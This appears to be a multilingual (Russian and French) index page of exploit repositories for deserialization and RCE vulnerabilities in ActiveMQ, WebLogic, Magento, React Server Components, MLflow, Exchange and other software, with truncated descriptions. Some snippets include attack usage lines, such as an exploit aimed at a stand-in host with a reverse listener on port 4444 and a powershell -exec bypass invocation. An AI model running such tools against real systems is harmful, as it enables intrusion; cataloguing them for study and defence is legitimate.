CVE-2015-5254

CVE-2015-5254 ActiveMQ Десериализация RCE 0x01 убедитесь, что порт 61616 открыт nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166 Host is up 0.00022s...

ysoserial

ysoserial Инструмент, созданный для демонстрации концепции proof-of-concept и генерации полезных нагрузок, эксплуатирующих небезопасную десериализацию объектов Java. Описание Первоначально выпущен в рамках доклада на AppSecCali 2015 «Marshalling Pickles: как десериализация объектов испортит вам...

CVE-2017-10271

CVE-2017-10271 Скрипт обнаружения и эксплуатации уязвимости десериализации компонента Weblogic wls-wsat CVE-2017-10271 Использование $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Возможности Автономный скрипт на Python Функция проверки, уязвим ли хост Функция...

weblogic_wls_wsat_rce

weblogicwlswsatrce Эксплойт для уязвимости десериализации компонента Weblogic wls-wsat CVE-2017-10271, модифицирован на основеhttps://github.com/s3xy/CVE-2017-10271. Выполнение команды с выводом результата Прямая загрузка shell Протестировано на Linux с Weblogic 10.3.6.0 — работает Использование ...

CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento

CosmicSting: vulnérabilité XXE non authentifiée critique dans Adobe Commerce et Magento CVE-2024-34102 CVE-2024-34102 est une grave faille de sécurité résultant d'une gestion incorrecte de la désérialisation imbriquée dans Adobe Commerce et Magento. Cette vulnérabilité permet aux attaquants...

react2shell

React2Shell CVE-2025-55182 Next.js: CVE-2025-66478 Неавторизованный RCE в React Server Components Flight Protocol — PoC эксплойт Описание React Server Components Flight protocol десериализуют управляемые атакующим multipart/form-data без проверки доступа к цепочке прототипов. Один неавторизованны...

CVE-2019-0604

Première partie : Explication de cve-2019-0604-exp.py de k8gege Le script de k8gege https://github.com/k8gege/CVE-2019-0604 Honnêtement, le script py de k8gege est un peu fantaisiste, plein de chaînes hexadécimales, divisé en payload1, 2, 3, pas sympa. Le payload envoyé par POST distant du script...

CVE-2024-37054-PoC

Description Preuve de concept pour CVE-2024-37054, une vulnérabilité de désérialisation critique dans MLflow versions 0.9.0 à 2.14.1. Lorsqu'un modèle pyfunc malveillant est chargé via mlflow.pyfunc.loadmodel, la charge utile picklée exécute du code arbitraire. Fichiers exploit.py — exploit compl...

CVE-2025-31324-File-Upload

CVE-2025-31324-File-Upload Полностью неаутентифицированная конечная точка загрузки файлов в Visual Composer позволяет любому загружать произвольные файлы например, JSP-веб-шелл на сервер. PoC-инструмент для проверки и эксплуатации неаутентифицированной уязвимости загрузки файлов CVE-2025-31324 в...

CVE-2023-34212

CVE-2023-34212: Десериализация Java через компоненты JNDI в Apache NiFi Сервис контроллера JndiJmsConnectionFactoryProvider вместе с процессорами ConsumeJMS и PublishJMS в Apache NiFi с версии 1.8.0 по 1.21.0 позволяют аутентифицированному и авторизованному пользователю настраивать свойства URL и...

CVE-2021-46364

CVE-2021-46364: Десериализация YAML в Magnolia CMS Magnolia версии =6.2.3 использует парсер Snake YAML, уязвимый к атакам десериализации, которые могут позволить злоумышленнику вызывать произвольные конструкторы Java при импорте YAML-файлов. С помощью этой уязвимости была достигнута удаленная...

Exploit_CVE-2020-0688

CVE-2020-0688 Script d'exploitation pour CVE-2020-0688 "Vulnérabilité de désérialisation du MachineKeySection par défaut de Microsoft Exchange" Utilisation : powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml -uri Exemple : Ceci est un exemple de validation de la vulnérabilité en définissant...

React2Shell-PoC

React2Shell-PoC Эксплойт доказательства концепции для CVE-2025-55182 и CVE-2025-66478 , критических уязвимостей удаленного выполнения кода в React Server Components RSC и приложениях Next.js. Обзор React2Shell демонстрирует эксплуатацию небезопасной десериализации в обработчиках серверных действи...

CVE-2019-2890

Déclaration Utilisation à des fins d'étude et d'échange uniquement, toute autre utilisation est sous votre responsabilité. Description Les fichiers JAR pertinents ont déjà été importés dans le projet, et la méthode d'exploitation utilise JRMP de yso. Lors du débogage, vous pouvez modifier la...

vucsa

Application Client-Serveur Vulnérable VuCSA L'application client-serveur vulnérable VuCSA est conçue pour apprendre/présenter comment effectuer des tests de pénétration d'applications client-serveur non-HTTP. Elle est écrite en Java avec une interface utilisateur graphique JavaFX. Actuellement,...

CVE-2019-14224

CVE-2019-14224: Exécution de code à distance authentifiée dans Alfresco Community En exploitant plusieurs composants des applications Alfresco Software, une chaîne d'exploitation a été observée qui permet à un attaquant d'exécuter du code à distance. L'attaquant doit utiliser Alfresco pour :...

react2shellVulnApp

React2Shell: лаборатория уязвимого банковского приложения Преднамеренно уязвимое банковское приложение для CVE-2025-55182 React и CVE-2025-66478 Next.js, позволяющее изучать, обнаруживать и безопасно отрабатывать React2Shell. Работает на непропатченных React 19.0.0 и Next.js 15.0.3. Обзор...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring Основные зависимости 1. jackson 2. commons-io Быстрое воспроизведение 1. Импортировать проект в IDEA, выполнить сборку mvn install 2. Сборка и запуск Dockerfile: docker build . 3. Запустить src/test/java/POC.java для выполнения команды touch /tmp/pwned Инструкция по...

CVE-2020-2551

CVE-2020-2551 Désérialisation IIOP de Weblogic Environnement de test Weblogic 10.3.6 + JDK 1.6 JAR packagé Code d'extraction : a6ob Exploitation Téléchargez le fichier JAR, puis utilisez marshalsec pour démarrer un service RMI malveillant, compilez localement un fichier exp.java package payload;...

CVE-2019-2890

Déclaration Utilisation uniquement pour l'apprentissage et l'échange. Les autres utilisations sont à vos risques et périls. Description Les fichiers jar pertinents ont déjà été importés dans le projet et la méthode d'exploitation utilise JRMP de yso. Lors de l'apprentissage et du débogage, la...